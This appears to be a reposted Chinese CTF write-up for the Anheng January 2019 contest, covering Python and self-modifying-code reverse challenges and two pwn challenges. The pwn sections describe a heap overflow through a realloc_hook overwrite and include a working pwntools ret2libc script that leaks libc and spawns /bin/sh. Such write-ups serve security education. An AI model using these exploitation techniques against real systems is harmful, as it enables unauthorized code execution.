安恒2019一月赛二进制赛题解析

栏目: Python · 发布时间: 5年前

内容简介:好久没打安恒的月赛了,碰巧今天有空,就做了下二进制的几道题目,总体难度不是很大,还好没有触及到我的知识盲区Orz。这题给了2个文件,一个

安恒2019一月赛二进制赛题解析

好久没打安恒的月赛了,碰巧今天有空,就做了下二进制的几道题目,总体难度不是很大,还好没有触及到我的知识盲区Orz。

reverse

来玩蛇吧

这题给了2个文件,一个 exe 和一个 pyc ,结合图标和题目意思,我好像明白了什么,估计是 python 的逆向题。

安恒2019一月赛二进制赛题解析

以前也做过这种类型的题,但是很久没做,有点生疏了,主要是要知道这个程序是 python 写的,并且用打包器制作成可执行文件的。直接上网搜索 python 打包器就能找到这个 工具 的名字叫做 PyInstaller ,根据 Pcat的博客描述 ,我们可以使用 PyInstaller Extractor 来提取可执行文件的资源内容。这个脚本网上也很容易能下载。

需要注意的是,当我们开始提取文件的时候,需要和编写的 python 的程序版本一致,由于我本机只有 python2 的环境,提取资源的时候,就会发生错误,如下图所示。

安恒2019一月赛二进制赛题解析

由于 PyInstaller Extractor 兼容 python23 ,在 python3 环境下即可提取资源进行逆向分析。这样我们就能提取到一堆文件了,如下表所示。

_bz2.pyd*                                            
 _hashlib.pyd*                                        
 _lzma.pyd*                                           
 _socket.pyd*                                         
 _ssl.pyd*                                            
 AnhengRe                                             
 AnhengRe.exe.manifest                                
 api-ms-win-core-console-l1-1-0.dll*                  
 api-ms-win-core-datetime-l1-1-0.dll*                 
 api-ms-win-core-debug-l1-1-0.dll*                    
 api-ms-win-core-errorhandling-l1-1-0.dll*            
 api-ms-win-core-file-l1-1-0.dll*                     
 api-ms-win-core-file-l1-2-0.dll*                     
 api-ms-win-core-file-l2-1-0.dll*                     
 api-ms-win-core-handle-l1-1-0.dll*                   
 api-ms-win-core-heap-l1-1-0.dll*                     
 api-ms-win-core-interlocked-l1-1-0.dll*              
 api-ms-win-core-libraryloader-l1-1-0.dll*            
 api-ms-win-core-localization-l1-2-0.dll*             
 api-ms-win-core-memory-l1-1-0.dll*                   
 api-ms-win-core-namedpipe-l1-1-0.dll*                
 api-ms-win-core-processenvironment-l1-1-0.dll*       
 api-ms-win-core-processthreads-l1-1-0.dll*           
 api-ms-win-core-processthreads-l1-1-1.dll*           
 api-ms-win-core-profile-l1-1-0.dll*                  
 api-ms-win-core-rtlsupport-l1-1-0.dll*               
 api-ms-win-core-string-l1-1-0.dll*                   
 api-ms-win-core-synch-l1-1-0.dll*                    
 api-ms-win-core-synch-l1-2-0.dll*                    
 api-ms-win-core-sysinfo-l1-1-0.dll*                  
 api-ms-win-core-timezone-l1-1-0.dll*                 
 api-ms-win-core-util-l1-1-0.dll*                     
 api-ms-win-crt-conio-l1-1-0.dll*                     
 api-ms-win-crt-convert-l1-1-0.dll*                   
 api-ms-win-crt-environment-l1-1-0.dll*               
 api-ms-win-crt-filesystem-l1-1-0.dll*                
 api-ms-win-crt-heap-l1-1-0.dll*                      
 api-ms-win-crt-locale-l1-1-0.dll*                    
 api-ms-win-crt-math-l1-1-0.dll*                      
 api-ms-win-crt-process-l1-1-0.dll*                   
 api-ms-win-crt-runtime-l1-1-0.dll*                   
 api-ms-win-crt-stdio-l1-1-0.dll*                     
 api-ms-win-crt-string-l1-1-0.dll*                    
 api-ms-win-crt-time-l1-1-0.dll*                      
 api-ms-win-crt-utility-l1-1-0.dll*                   
 base_library.zip                                     
 out00-PYZ.pyz                                        
 out00-PYZ.pyz_extracted/                             
 pyexpat.pyd*                                         
 pyiboot01_bootstrap                                  
 pyimod01_os_path                                     
 pyimod02_archive                                     
 pyimod03_importers                                   
'pyi-windows-manifest-filename AnhengRe.exe.manifest' 
 python36.dll*                                        
 select.pyd*                                          
 struct                                               
 ucrtbase.dll*                                        
 unicodedata.pyd*                                     
 VCRUNTIME140.dll*

那么接下来我们需要知道哪些是外部的库函数,哪些是程序本身的部分。那么很明显, dll 都是 windows 下的动态链接库,而 pyd 也是 python 的动态链接库( python dll ),除去这些文件和一些清单文件外,再结合文件名,很容易就能找到 AnhengRe 这个文件,应该就是我们所需要的。

接下来这一步就是分析这个文件是什么格式。一般的思路就是通过 file 命令或者 binwalk 进行解析,再或者通过 strings 来查看字符串。如下所示。

$ file AnhengRe
AnhengRe: data

$ strings AnhengRe  
Tell me your name?z 
Tell me your pasw   
9f1ff1e8b5b91110    
c4e21c11a2412       
wrong               
AnHeng              
Congratulations     
flag                
pause               
flag{               
no,)                
input               
range               
print               
system              
AnhengRe.py         
<module>

从我自己角度来说,我立马判断这就是一个 pyc 程序了,因为这些字符串特征很明显,没有加密混淆,也出现了 AnhengRe.pymodule 这样的字样。但是用 010editor 分析后发现文件头不满足 pyc 的格式,于是我猜想头部数据被修改了。经过多次实验和对比,最终发现头部的12字节被剔除了。然后进行补齐即可,忽略时间戳。

33 0D 0D 0A 00 00 00 00 00 00 00 00

最后我们即可通过 uncompyle6 等反编译工具来获得 python 的源码,得到源码如下:

#!/usr/bin/env python
# encoding: utf-8

import os
n1 = input('Tell me your name?')
n2 = input('Tell me your pasw')
n11 = chr(ord(n1[0]) + 12)
s = ''
st3 = '51e'
st2 = '9f1ff1e8b5b91110'
st1 = 'c4e21c11a2412'
st0 = 'wrong'
if n11 + 'AnHeng' == n2:
    for i in range(0, 4):
        s += st1[3 - i]

    print('Congratulations')
    ts = st2[0] + st3 + st2[1] + s
    print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
    os.system('pause')
else:
    print('no,' + st0)

这段代码再简单也不为过了,直接将判断条件删除再运行即可获得flag。

old-drive

逆向第二题,本来看题目我以为是驱动题,但实际不是。主函数逻辑如下:

安恒2019一月赛二进制赛题解析

首先对输入长度进行检测,很容易判断是40,然后进行了一段 smc ,即 self-modify-code ,自修改代码,也是比较常见的样式,即常量异或。这段 smc 用于解密一段函数,这个函数在最后的比较中是有用到的。接下来将输入前5字节和 flag{ 对比,没什么好说的,最后进入 sub4010b0 这个函数中。其中主函数中的 smc 解密脚本如下( idapython ):

addr = 0x401000
for i in xrange(0x401260-addr):
    PatchByte(addr+i, Byte(addr+i) ^ 0xbb)

第二个 check 逻辑如下:

v3 = byte_4021B8;
 do
 {
   v4 = (unsigned __int8)*v3++;
   if ( ((char)a2[v2] ^ 0x86) != v4 )          
LABEL_12:
     exit(0);
   ++v2;
 }

也是一个比较常见的密文比较,对应的解密脚本如下:

addr = 0x4021b8
flag = "flag{"
for i in xrange(6):
  flag += chr(Byte(addr+i) ^ 0x86)

然后进入第三个 check 逻辑中,如下图所示:

安恒2019一月赛二进制赛题解析

熟悉 base64 编码的同学一般能一眼看出来这段算法,就是一个正常的 base64 编码,编码表没任何变化,要想快速识别 base64 算法需要对该算法比较熟悉。首先是 3×8=4×6 ,即3个8bit的字符转换成4个6bit的字符,然后查表,每一组分成4份,每一份分别是每一组的高6bit,次高6bit,次底6bit和最低的6bit。还不熟悉的同学可以自己编程,再逆向分析其实现。所以这段算法对应的解密脚本如下:

flag += b64decode("c19zbWNf")

然后进入最后一个 check 逻辑中,如下图所示。

安恒2019一月赛二进制赛题解析

首先定义了一段奇怪的字符串,然后载入输入的后半段,然后进入一个 switch 语句中,循环检测,最后判断是否是#,且循环中每一步的下标对应的字符只能是空格,否则就失败。所以这就是一个迷宫算法了,迷宫的入口点是在字符串偏移 8 的位置上,也就是 g 所处的位置,然后 2aqw 分别代表 上下左右 进行移动。

g +    +
+ + ++ +
+ + #+ +
+ ++++ +
+ ++++ +
+      +

由于这个迷宫很小,所以我们很容易就能得到答案了,最后我们再将几个部分练起来即可得到整个的flag。

pwn

pwn第一个题主要堆上的问题,首先主函数有4个功能,分别是 createeditdeleteexit ,如下图所示,常见的清单型pwn题。

安恒2019一月赛二进制赛题解析

关键的漏洞主要是由于在edit过程中,没有对分配的块大小进行检测,如果重新设置的大小比原来的大,会导致堆溢出的情况发生。由于程序中开启了所有的保护,比较常见的方式是通过 hook 来进行漏洞利用,那么我们首先要泄露出 libc 的基地址。

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

那么在这个程序中我们的确是能泄露出 libc 的基地址的,如下图所示。

安恒2019一月赛二进制赛题解析

由于 write 函数设置了固定长度的输入,而堆块上也会存在 libc 的地址,通过泄露该地址,我们就能拿到 libc 的地址,绕过保护,代码如下:

libc = ELF('libc.so.6')
realloc_hook = libc.symbols['__realloc_hook']
libc.address = delete(3) - realloc_hook - 240

然后我们将堆块的地址指向 hook 函数的自动,进一步再将 hook 指向 system 的地址,最后调用 realloc 即可 getshell

这个题的漏洞主要是栈缓冲区溢出,如下图所示,读取字节过长导致栈溢出,所以能够劫持控制流。

安恒2019一月赛二进制赛题解析

那么这个题方法有很多,由于没有 canary 检测,无论是 stack pivot 来进行栈迁移执行 shellcode 还是传统的 ret2libc 都行,需要注意的是这里程序中有个随机值异或的过程,最简单的方式就是控制 strlen 的返回值来防止后续字节被修改。

我自己还是通过 ret2libc 来实现的,通过 puts 函数来打印出 got 表项的地址,然后计算出偏移量,返回到主函数再进行一次栈溢出,返回到 systemexecve 即可 getshell

s.recv()
payload = flat([cyclic(48),0, elf.plt['puts'], 0x8048480, elf.got['puts']])
s.send(payload)
puts_addr = u32(s.recvuntil("xf7").ljust(4, 'x00'))
log.success("puts_addr -> {:#x}".format(puts_addr))
s.recv()
libc.address = puts_addr - libc.symbols['puts']
log.success("libc.address -> {:#x}".format(libc.address))

payload = flat([cyclic(48),0, libc.symbols['execve'], 0x8048480,next(libc.search("/bin/sh")),0,0])
s.send(payload)
#s.recv()
s.interactive()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

多任务下的数据结构与算法

多任务下的数据结构与算法

周伟明 / 华中科技 / 2006-4 / 58.00元

本书和传统同类书籍的区别是除了介绍基本的数据结构容器如栈、队列、链表、树、二叉树、红黑树、AVL树和图之外,引进了多任务;还介绍了将任意数据结构容器变成支持多任务的方法;另外,还增加了复合数据结构和动态数据结构等新内容的介绍。在复合数据结构中不仅介绍了哈希链表、哈希红黑树、哈希AVL树等容器,还介绍了复合数据结构的通用设计方法;在动态数据结构中主要介绍了动态环形队列、动态等尺寸内存管理算法。在内存......一起来看看 《多任务下的数据结构与算法》 这本书的介绍吧!

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具